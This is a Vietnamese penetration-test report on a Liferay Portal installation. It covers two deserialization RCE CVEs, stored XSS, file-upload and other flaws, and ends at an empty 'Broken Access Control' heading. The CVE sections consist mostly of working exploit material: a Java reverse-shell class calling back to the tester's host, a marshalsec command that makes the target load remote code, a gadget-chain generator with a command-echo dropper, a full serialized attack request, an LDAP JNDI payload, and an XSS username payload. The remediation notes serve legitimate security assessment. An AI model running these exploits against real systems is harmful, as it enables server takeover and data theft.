---
# System prepended metadata

title: Báo cáo Pentest

---

# Danh sách lỗi


| Tên lỗi                                         | Mức độ       |
| ----------------------------------------------- | ------------ |
| CVE-2020-7961                                   | Nghiêm trọng |
| CVE-2019-16891                                  | Nghiêm trọng |
| Stored XSS ở chức năng hồ sơ quản lý            | Cao          |
| Stored XSS ở chức năng đăng ký người dùng       | Cao          |
| Broken Access Control                           | Cao          |
| File Upload Vulnerabilities                     | Cao          |
| Arbitrary Code Execution                        | Cao          |
| Server Side Template Injection                  | Trung bình   |
| Host Header Attack                              | Trung bình   |
| Stored XSS ở chức năng quản lý dữ liệu danh mục | Trung bình   |
| Reflected XSS                                   | Trung bình   |
| Limit Rate Login                                | Thấp         |
| Lộ lọt phiên bản                                | Khuyến nghị  |




# Phân tích CVE-2020-7961 

:::danger 
Nghiêm trọng
:::
## Tổng quan 
Lỗi xảy ra do Liferay Portal không xử lý dữ liệu deserialize an toàn khi truyền object qua API dưới dạng JSON dẫn đến việc thực thi lệnh tùy ý trên máy chủ. Phiên bản bị ảnh hưởng là 6.1 đến 7.2.0, trong khi phiên bản sử dụng là 6.2.5. Lỗi này xảy ra tại endpoint `/api/json/invoke` với một tài khoản authenticated. 
## Debug
Setup debug với Intellj Ultimate, thêm dòng sau vào Dockerfile: 
```
environment:
          - JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005
          - LIFERAY_JDPA_ENABLED=true
```
đồng thời mở thêm cồng `5005` để debug.

Đầu tiên, đọc qua bài phân tích của [Code White Sec](https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html?fbclid=IwY2xjawJHaGVleHRuA2FlbQIxMAABHXym4Uds0c6-cQDYb8khSZEGrw0m-ZJ-LAhT45xtZOa2tiGEY7uL98K9qw_aem_KFCR0anboOEKEXODW_whbA), ta biết được vulnerable end point sẽ là `/api/jsonws/invoke`. Ta sẽ gửi một request đến endpoint trên có dạng như sau:

```jsonld=
cmd={"/expandocolumn/update-column":{}}&p_auth=GXrMucH2&formDate=1584716289678&columnId=123&name=asdasd&type=1&defaultData:com.testClass={"foo":"yolo"}
```

Đầu tiên request có phần cmd sẽ quyết định xem ta gọi đến method nào, ví dụ với request trên thì sẽ gọi đến `ExpandoColumnServiceImpl.updateColumn()`. 
Sau khi parse cmd vào thì server sẽ gọi đến `JSONWebServiceServlet.service()`:

![image](https://hackmd.io/_uploads/SykjZmu2Jx.png)

Bởi vì path của chúng ta không phải rỗng hoặc `/` nên ta sẽ đi đến nhánh else:

![image](https://hackmd.io/_uploads/rk1HzQd2Jx.png)

Đi vào `service(request,response)`: 

![image](https://hackmd.io/_uploads/HJHFM7_3Jl.png)

Sau đó ta đi tiếp vào `service._jsonAction.execute()`:

![image](https://hackmd.io/_uploads/r1iRM7un1x.png)

Ta sẽ cần phải đi qua hàm `checkAuthToken(request)`, kiểm tra xem param `p_auth` của ta có hợp lệ hay không. Vì thế ta sẽ cần một `p_auth` hợp lệ, may là ta có rất nhiều creds để kiểm tra nên đây không phải là vấn đề. Sau đó, `getJson()` sẽ được gọi để lấy ra JSON data từ request của ta. Đi vào hàm này xem có gì: 

![image](https://hackmd.io/_uploads/r1kpmmu2yg.png)

Không có upload exception nên ta sẽ enter vào `getJSONWebServiceAction()`. Hàm này sẽ trả về một `JSONWebServiceInvokerAction()`

![image](https://hackmd.io/_uploads/S1zNVmO31g.png)

Đối tượng này sẽ chạy qua hàm `invoke()`

![image](https://hackmd.io/_uploads/ByOFEmO2Jx.png)
Giờ ta cần xem hàm `invoke()` này dùng để làm gì: 

![image](https://hackmd.io/_uploads/Bkla47Ohyx.png)
Hàm `invoke()` sẽ chạy `looseDeserializeSafe(this._command)`. Và `this._command` là param `cmd` của chúng ta truyền vào: 

![image](https://hackmd.io/_uploads/Bk8DVmd2Je.png)

Tuy nhiên thì lỗ hổng không nằm ở đây. Tiếp tục debug xem vào phần API được gọi đến qua param `cmd`, ví dụ ở đây sẽ là `/expandocolumn/update-column`

![image](https://hackmd.io/_uploads/ByCsB7OhJx.png)

Param này sẽ được truyền vào thành statement qua `invoke()`, sau đó statement sẽ truyền vào `_executeStatement()` để thực thi:

![image](https://hackmd.io/_uploads/BkMwUXO3Jg.png)

Tiếp tục debug thì sau khi đi vào hàm này sẽ dẫn ta tới `JSONWebServiceActionImpl.invoke()` và `JSONWebServiceActionImpl._invokeActionMethod()`:

![image](https://hackmd.io/_uploads/r10QPmO2ke.png)

Đi tiếp vào hàm này xem có gì: 

![image](https://hackmd.io/_uploads/B1NIP7_3yx.png)

Hàm này sẽ chạy qua `_prepareParameters()`. Method này sẽ có chức năng kiểm tra các input đầu vào của ta trước khi đưa vào invoke statement ban đầu truyền qua `cmd`. Các param này sẽ bắt buộc phải có tên sao cho giống với với các argument của statement. Ví dụ với `ExpandoColumnServiceImpl.updateColumn()` phải có các trường `columnId`, `name`, `type`, `defaultData`:

![image](https://hackmd.io/_uploads/B18SOQun1e.png)

Nếu như các param đầu vào không rỗng, nó sẽ kiểm tra xem param đầu vào có phải lớp con của lớp cha hay không, sau đó nếu không có thể tiến hành ép kiểu. 
Theo như bài viết của tác giả và document của liferay, ta biết được các param này hoàn toàn có thể được ép kiểu theo dạng: `paramName:paramType`. 

Ở CVE này, có kiểu `Object` của `defaultData` là ta có thể kiểm soát được vì tất cả các class đều là con của `Object` nên ta có thể truyền parameterType tùy ý. Tiếp tục debug sẽ dẫn ta tới `JSONWebServiceActionImpl._convertValueToParameterValue()`:

![image](https://hackmd.io/_uploads/HyaiF7d3ye.png)

Hàm này sẽ kiểm tra kiểu có phải là một trong `Array`, `Calendar`, `Locale`, `Class` hay không

![image](https://hackmd.io/_uploads/H1M19XOh1e.png)

Vì không phải nên ta sẽ nhảy thẳng đến nhánh else cuối: 

![image](https://hackmd.io/_uploads/HygV9X_nJe.png)

Nó sẽ thực hiện việc `looseDeserializeSafe(valueString,parameterType)`, nếu ta có thể kiểm soát được `parameterType` thì ta có thể lợi dụng lỗi deserilization và tấn công. Khi ta có thể kiểm soát được `parameterType` thì ta có thể lợi dụng `ClassLocatorObjectFactory.instantiate()` với cơ chế reflection hay dynamic loading của nó để RCE. 

## Build Payload & Exploit
Sau khi đọc qua những bài phân tích thì ta biết được tác giả sử dụng class `com.mchange.v2.c3p0.WrapperConnectionPoolDataSource` đồng thời từ trong tài liệu của marshalsec về class này cũng đã nêu: 
```
Requires c3p0 on the class path. Implements java.io.Serializable, has a default
constructor (which needs to be called), the used properties also have getters. A single
etter call is sufficient for code execution.
[...]
It will instantiate a class from a remote class path as JNDI
ObjectFactory. (on its own, not using the default JNDI reference mechanism)
[...]
```
Trước tiên ta sẽ tạo ra một object JNDI compile với Java 7 (Vì instance của mình dùng java 7): 
```java=
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class EvilObject {
    static {
        try {
            final String host = "192.168.88.145";
            final int port = 9999;
            String cmd = "/bin/sh"; // Linux (change to "cmd.exe" for Windows)

            final Process process = Runtime.getRuntime().exec(cmd);
            final Socket socket = new Socket(host, port);

            final InputStream processIn = process.getInputStream();
            final InputStream processErr = process.getErrorStream();
            final OutputStream processOut = process.getOutputStream();

            final InputStream socketIn = socket.getInputStream();
            final OutputStream socketOut = socket.getOutputStream();

            // Thread to read from socket and send to process
            new Thread(new Runnable() {
                public void run() {
                    try {
                        byte[] buffer = new byte[1024];
                        int len;
                        while ((len = socketIn.read(buffer)) != -1) {
                            processOut.write(buffer, 0, len);
                            processOut.flush();
                        }
                    } catch (Exception ignored) {}
                }
            }).start();

            // Thread to read from process error and send to attacker
            new Thread(new Runnable() {
                public void run() {
                    try {
                        byte[] buffer = new byte[1024];
                        int len;
                        while ((len = processErr.read(buffer)) != -1) {
                            socketOut.write(buffer, 0, len);
                            socketOut.flush();
                        }
                    } catch (Exception ignored) {}
                }
            }).start();

            // Main thread: read from process output, send to attacker
            byte[] buffer = new byte[1024];
            int len;
            while ((len = processIn.read(buffer)) != -1) {
                socketOut.write(buffer, 0, len);
                socketOut.flush();
            }

            process.waitFor();
            socket.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

```

Compile object trên thành class và host một python http server để target host thực hiện load JNDI object của ta về để tạo reverse shell
Tiếp thao, ta sẽ generate payload để target host load JNDI object. Sử dụng tool của marshalsec để build gadget chain:
```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson  C3P0WrapperConnPool http://192.168.88.145:8000/ EvilObject
```
Sau đó ta sẽ gửi payload như sau:
![image](https://hackmd.io/_uploads/SySmkv52yx.png)
Thấy target host gửi request đến server của mình để tải JNDI object về. Quay qua kiểm tra xem đã có reverse shell hay chưa
![image](https://hackmd.io/_uploads/rJxryw93kl.png)
Vậy là có reverse shell. 
![image](https://hackmd.io/_uploads/r1RCVUchyg.png)

## Java echo RCE
Vậy là ta đã có thể RCE được hệ thống, tuy nhiên vẫn còn một kỹ thuật ta có thể khai thác được ở bài này, đó chính là "Echo RCE", tức là ta có thể lấy được kết quả trả về của command ngay tại response mà không cần server kết nối đến một remote server để tải về JNDI object. Điều này sẽ cực kỳ hữu dụng khi ta khai thác những hệ thống nội bộ khi mà outbound traffic sẽ rất hạn chế. 

Sau khi tham khảo một số blog thì điều này có thể đạt được khi sử dụng method `com.liferay.portal.service.ServiceContextThreadLocal.getServiceContext()`. Method này sẽ trả về context hiện tại của request. 

Sau đó ta sẽ lấy ra `HTTPServletRequest` từ `ServiceContext`, vì Liferay đã wrap object trên nên ta cần unwrap nó để có thể sử dụng được `getResponse()` để có thể gửi đi command và nhận về kết quả thực thi câu lệnh. 

Ý tưởng là như vậy, giờ ta sẽ có một đoạn Javascript để handle việc này như sau: 
```javascript=
    var currentThread = com.liferay.portal.service.ServiceContextThreadLocal.getServiceContext();
    var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
    var request = currentThread.getRequest();
    var clazz = request.getClass();
    var _req = clazz.getDeclaredField(\"request\");
    _req.setAccessible(true);
    var realRequest = _req.get(request);
    var response = realRequest.getResponse();
    var outputStream = response.getOutputStream();
    var cmd = new java.lang.String(request.getHeader("cmd2"));
    var listCmd = new java.util.ArrayList();
    var p = new java.lang.ProcessBuilder();
    if(isWin){\n"
        p.command("cmd.exe", "/c", cmd);
    }else{\n"
        p.command("bash", "-c", cmd);
    }
    p.redirectErrorStream(true);
    var process = p.start();
    var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
    var bufferedReader = new java.io.BufferedReader(inputStreamReader);
    var line = "";
    var fullText = "";
    while((line = bufferedReader.readLine()) != null){
        fullText = fullText + line + "\n";
    }
    var bytes = new java.lang.String(fullText).getBytes("UTF-8");
    outputStream.write(bytes);
    outputStream.close();
```



Script exploit:
```java=
package ysoserial.payloads;

import com.mchange.lang.ByteUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.PrintStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class RCE extends PayloadRunner implements ObjectPayload<Serializable> {
    public Serializable getObject(String command) throws Exception {
        String dropper = ""
    + "var currentThread = com.liferay.portal.service.ServiceContextThreadLocal.getServiceContext();\n"
    + "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n"
    + "var request = currentThread.getRequest();\n"
    + "var clazz = request.getClass();\n"
    + "var _req = clazz.getDeclaredField(\"request\");\n"
    + "_req.setAccessible(true);\n"
    + "var realRequest = _req.get(request);\n"
    + "var response = realRequest.getResponse();\n"
    + "var outputStream = response.getOutputStream();\n"
    + "var cmd = new java.lang.String(request.getHeader(\"" + command + "\"));\n"
    + "var listCmd = new java.util.ArrayList();\n"
    + "var p = new java.lang.ProcessBuilder();\n"
    + "if(isWin){\n"
    + "    p.command(\"cmd.exe\", \"/c\", cmd);\n"
    + "}else{\n"
    + "    p.command(\"bash\", \"-c\", cmd);\n"
    + "}\n"
    + "p.redirectErrorStream(true);\n"
    + "var process = p.start();\n"
    + "var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());\n"
    + "var bufferedReader = new java.io.BufferedReader(inputStreamReader);\n"
    + "var line = \"\";\n"
    + "var fullText = \"\";\n"
    + "while((line = bufferedReader.readLine()) != null){\n"
    + "    fullText = fullText + line + \"\\n\";\n"
    + "}\n"
    + "var bytes = new java.lang.String(fullText).getBytes(\"UTF-8\");\n"
    + "outputStream.write(bytes);\n"
    + "outputStream.close();\n";

        String[] execArgs = new String[]{dropper};
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(javax.script.ScriptEngineManager.class),
            new InvokerTransformer("newInstance", new Class[]{},
                new Object[]{}),
            new InvokerTransformer("getEngineByName", new Class[]{String.class},
                new Object[]{"JavaScript"}),
            new InvokerTransformer("eval", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;

        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException var18) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        f.setAccessible(true);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;

        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException var17) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[]) ((Object[]) f2.get(innimpl));
        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;

        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception var16) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        keyField.setAccessible(true);
        keyField.set(node, entry);
        return map;
    }

    public static void main(String[] args) throws Exception {
        PrintStream out = System.out;
        RCE rce = new RCE();
        ObjectPayload payload = RCE.class.newInstance();
        Object object = rce.getObject("cmd2");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(byteArrayOutputStream);
        objOut.writeObject(object);

        String hexDmp = ByteUtils.toHexAscii(byteArrayOutputStream.toByteArray());
        System.out.println(hexDmp);

        ObjectPayload.Utils.releasePayload(payload, object);
//        PayloadRunner.run(LiferayJsonEvalCC6.class, args);
    }
}

```

Compile với `java8` và các  bằng cách:
```bash=
/usr/lib/jvm/jdk1.8.0_202/bin/javac -cp -Xlint:deprecation -Xlint:unchecked -cp "lib/*" -d out src/main/java/ysoserial/payloads/RCE.java
/usr/lib/jvm/jdk1.8.0_202/bin/java -cp "lib/*:out" ysoserial.payloads.RCE
```

Full request:
```
POST /api/jsonws/invoke HTTP/1.1
Host: 192.168.88.137:8080
Content-Length: 4929
cmd2: ls -la
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

cmd={"/expandocolumn/update-column":{}}&p_auth=lr4cW3OF&formDate=12381213&columnId=123&name=asdasd&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404607661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A76617220636C617A7A203D20726571756573742E676574436C61737328293B0A766172205F726571203D20636C617A7A2E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D206E6577206A6176612E6C616E672E537472696E672866756C6C54657874292E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;"}
```

Kết quả: 
![image](https://hackmd.io/_uploads/r1GnlVqaJg.png)

## Ảnh hưởng
Một người dùng với tài khoản cấp thấp có thể thực thi mã độc từ xa trên máy chủ dẫn đến việc hư hại nghiêm trọng hạ tầng, lộ lọt thông tin

## Cách khắc phục
Cập nhật phiên bản mới nhất, loại bỏ những class nguy hiểm trong việc deserialization, whitelist những class được sử dụng

# CVE-2019-16891
:::danger 
Nghiêm trọng
:::
## Tổng quan
Đây là một lỗi Liferay JSON Deserilization dẫn đến việc RCE trên máy chủ. Lỗi này sẽ cần authenticated và xảy ra tại endpoint `/poller/receive` với param `pollerRequest`.
## Debug
Vì JSONFactoryImpl là class hầu như đảm nhiệm các nhiệm vụ xử lý các chuỗi JSON của Liferay nên ta sẽ tập trung vào các chức năng của nó. Rải các breakpoint ở các `looseDeserialize`, `deserialize` của nó để xem ta có bắt được gì không. Sau khi gửi một request đến `/poller/receive` thì ta thấy trình debug bắt được request: 
![image](https://hackmd.io/_uploads/BJDP87baJg.png)

Tiếp tục nhảy vào `_jsonSerializer.fromJson()`:

![image](https://hackmd.io/_uploads/B1lA8XWa1l.png)

`fromJson()` sẽ gọi tới `unmarshall()` để tiếp tục thực hiện deserialize object. 

![image](https://hackmd.io/_uploads/r1rSPXWa1x.png)

Sau đó nó sẽ gọi đến `unmarshall()` của lớp cha: 

![image](https://hackmd.io/_uploads/SkB6PXbTyl.png)

Hàm này sẽ chọn một loại serilizer phù hợp với đoạn input đầu vào của ta và thực hiện việc deserilize nó theo serilizer đó. Ta sẽ cần tìm hiểu xem sẽ có những loại serilizer nào phù hợp. Tiếp tục debug ta sẽ tìm thấy được list những class thực hiện việc unmarshall:

![image](https://hackmd.io/_uploads/SkpbnmbTyx.png)

Nó sẽ load những class này và thực hiện việc unmarshall với thứ tự các class duyệt từ trên xuống dưới. Trong list này, ta thấy đáng nghi nhất là `org.jabsorb.serializer.impl.BeanSerilizer`. Hãy tìm hiểu xem hàm `unmarshall()` của `BeanSerializer` làm gì: 

![image](https://hackmd.io/_uploads/By6rTX-a1l.png)

Method `unmarshall()` của `BeanSerializer` có invoke setter method của JSON string mà ta input vào: 

```java=
Method setMethod = (Method)bd.writableProps.get(field);
```

Dòng này sẽ lấy setter method của `field` của class `bd` ra. 

```java=
Class[] param = setMethod.getParameterTypes();
fieldVal = this.ser.unmarshall(state, param[0], jso.get(field));
```
Nếu `setMethod` tồn tại thì sẽ lấy param type và lấy giá trị của `field(key)`. Và cuối cùng là thực hiện invoke 

```java=
invokeArgs[0] = fieldVal;
```

Để thực hiện được việc này, ta cần tìm một class để trigger được `BeanSerializer` tức là nó sẽ không implement `Serializable` bởi nếu thế nó sẽ trigger luôn `LiferaySerilizer`. 

Tóm tắt lại ta sẽ cần một class thỏa mãn đủ 3 yếu tố sau:

- Có public constructor không có arg
- Không implement `Serilizable`
- Có setter method lợi dụng được

## Build Payload & Exploit 

Ta sẽ sử dụng class `StatisticsService` để exploit. Ở class này sẽ có setter method để lợi dụng việc deserialize object khi tạo một jndi connection. Có thể thấy khi truyền class này vào nó đã gọi tới `BeanSerializer`:
![image](https://hackmd.io/_uploads/B1MkD4-aJx.png)
Sau đó ta sẽ lợi dụng JNDI cụ thể là RMI để khiến server tải xuống một object từ remote server và thực hiện việc deserialize

![image](https://hackmd.io/_uploads/rJOxwNZpkx.png)

Ta craft một payload như này: 
```
[$OPEN_CURLY_BRACE$]"javaClass":"org.hibernate.jmx.StatisticsService","sessionFactoryJNDIName":"ldap://<LDAP_SERVER>"[$CLOSE_CURLY_BRACE$]
```

Thấy connection gửi về:
![image](https://hackmd.io/_uploads/rkKb6LZTJg.png)
Vậy là có được reverse shell
![image](https://hackmd.io/_uploads/rkcga8-6Je.png)

## Ảnh hưởng
Một người dùng với tài khoản cấp thấp có thể thực thi mã độc từ xa trên máy chủ dẫn đến việc hư hại nghiêm trọng hạ tầng, lộ lọt thông tin

## Cách khắc phục
Cập nhật phiên bản mới nhất, loại bỏ những class nguy hiểm trong việc deserialization, whitelist những class được sử dụng

# Stored XSS trong chức năng quản lý hồ sơ
:::warning
Mức độ: Cao
:::
## Tổng quan
Đây là một lỗ hổng Stored XSS xuất hiện ở chức năng xử lý hồ sơ của trang web. Đoạn mã độc hại sẽ được chèn vào browser của người dùng khác khi họ thực hiện xem hồ sơ này

## Kịch bản khai thác
Đi vào path sau: 
```
/group/guest/khong-gian-lam-viec-frontoffice?p_p_id=13_WAR_opencpsportlet&p_p_lifecycle=0&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&_13_WAR_opencpsportlet_cmd=add&_13_WAR_opencpsportlet_serviceConfigId=601&_13_WAR_opencpsportlet_mvcPath=%2Fhtml%2Fportlets%2Fdossiermgt%2Ffrontoffice%2Fedit_dossier.jsp&_13_WAR_opencpsportlet_backURL=%2Fgroup%2Fguest%2Fkhong-gian-lam-viec-frontoffice%3Fp_p_id%3D13_WAR_opencpsportlet%26p_p_lifecycle%3D0%26p_p_state%3Dnormal%26p_p_mode%3Dview%26p_p_col_id%3Dcolumn-1%26p_p_col_count%3D1%26_13_WAR_opencpsportlet_mvcPath%3D%252Fhtml%252Fportlets%252Fdossiermgt%252Ffrontoffice%252Ffrontofficeservicelist.jsp%26_13_WAR_opencpsportlet_backURL%3D%252Fgroup%252Fguest%252Fkhong-gian-lam-viec-frontoffice
```
Và tạo mới một hồ sơ cần quản lý:
![image](https://hackmd.io/_uploads/S1J4vs-Tkx.png)

Sau khi submit, đăng nhập vào account của cán bộ xử lý để xử lý hồ sơ: 
![image](https://hackmd.io/_uploads/H1zxOi-aJl.png)

## Ảnh hưởng
Lỗ hổng này có thể dẫn đến CSRF khi mà có thể khiến một người dùng có quyền cao hơn thực hiện những request độc hại, không an toàn. Ngoài ra stored XSS cũng có thể dẫn đến việc đánh cắp danh tính, chiếm đoạt tài khoản. 

## Nguyên nhân
Đoạn code bị lỗi xảy ra ở trong `businesslist.jsp`:
![image](https://hackmd.io/_uploads/SkiK1rfTJe.png)

Việc sử dụng `row.addText()` mà không thực hiện việc sanitize sẽ dẫn đến việc chèn mã XSS tùy ý vào. 

## Cách khắc phục
Thực hiện việc filter cho những biến truyền vào `row.addText()` hoặc set CSP để không thực hiện đoạn Javascript nào

# Stored XSS trong chức năng tìm kiếm người dùng
:::warning
Mức độ: Cao
:::
## Tổng quan
Lỗ hổng này cho phép một người dùng có thể đăng ký tên với nội dung tùy ý dẫn đến việc tạo ra lỗ hổng stored XSS khi mà ứng dụng không thực hiện việc xử lý input đầu vào hợp lý. 

## Cách thức khai thác
Đầu tiên một người dùng đăng ký tài khoản với username là `"><img src=1 onerror=alert(1)>`:
![image](https://hackmd.io/_uploads/HyzCyK4kxg.png)

Sau khi đăng ký thành công thì đăng nhập vào tài khoản admin, vào chức năng tìm kiếm người dùng tại
```
http://192.168.88.137:8080/web/guest/login?p_p_id=3&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_3_struts_action=%2Fsearch%2Fsearch&_3_redirect=%2Fweb%2Fguest%2Flogin%3Fp_p_id%3D3%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_col_id%3D_118_INSTANCE_EhVuhv4fnTIj__column-1%26p_p_col_count%3D1%26saveLastPath%3Dfalse%26_58_struts_action%3D%252Flogin%252Fcreate_account&_3_keywords=vv&_3_groupId=0
```

Sẽ trigger được XSS: 
![image](https://hackmd.io/_uploads/SJDplK41xg.png)

## Ảnh hưởng
Lỗ hổng Stored XSS có thể dẫn đến những lỗ hổng nghiêm trọng như session hijacking hoặc hacker có thể lợi dụng lỗ hổng này để thực hiện CSRF, khiến cho người dùng admin thực hiện những request độc hại, dẫn đến RCE, ...
## Nguyên nhân
![image](https://hackmd.io/_uploads/BJa8zKN1lx.png)
Ở trong file `users.jsp` thì đoạn code không thực hiện escape `curUserName` mà paste thẳng trực tiếp vào attribute `data-value` nên ta có thể thoát ra khỏi tag `<a>` và lập một tag mới chứa nội dung của XSS

## Cách khắc phục
Thực hiện việc `escape(curUserName)` trong tag `<a>` hoặc cài đặt CSP cho trang web để tránh thực thi mã Javascript. 

# File Upload Vulnerabilities

:::warning
Mức độ: Cao
:::

## Tổng quan
Lỗi này cho phép người dùng admin có thể upload file với đuôi `.war` tùy ý, từ đó có thể lợi dụng điều này để upload một webshell hoặc reverse shell cho phép thực thi mã độc từ xa (RCE). 
## Cách thức khai thác
Đăng nhập vào Admin, vào trang App Manager của admin, trang này cho phép upload plugin là một file WAR hoặc LPKG lên. Ta sẽ tạo ra một revshell.jsp và nén lại thành file WAR sau đó upload lên:
![image](https://hackmd.io/_uploads/BkWqzBMpJl.png)

Từ đó ta có thể truy cập vào `/shell/shell.jsp` để có shell:

![image](https://hackmd.io/_uploads/SyMafrMaJg.png)

## Ảnh hưởng
Lỗ hổng có thể khiến hacker nếu như chiếm được quyền của tài khoản admin thực thi mã độc từ xa dẫn đến ảnh hưởng đến hạ tầng nghiêm trọng.

## Nguyên nhân
Người dùng với quyền admin có thể tải lên file `.war` để tải template mong muốn cho công việc quản trị. Tuy nhiên việc không kiểm soát nội dung file `.war` sẽ dẫn tới hành vi xấu. 
## Cách khắc phục
Sau khi tải lên set quyền `chmod -R 644` cho folder được upload lên để kể cả việc có shell qua đó thì cũng không thực hiện được quá nhiều điều. Đặt quyền giới hạn nhất có thể cho người dùng chạy service đó. 

# Broken Access Control
:::warning
Mức độ: Cao
:::

## Tổng quan 
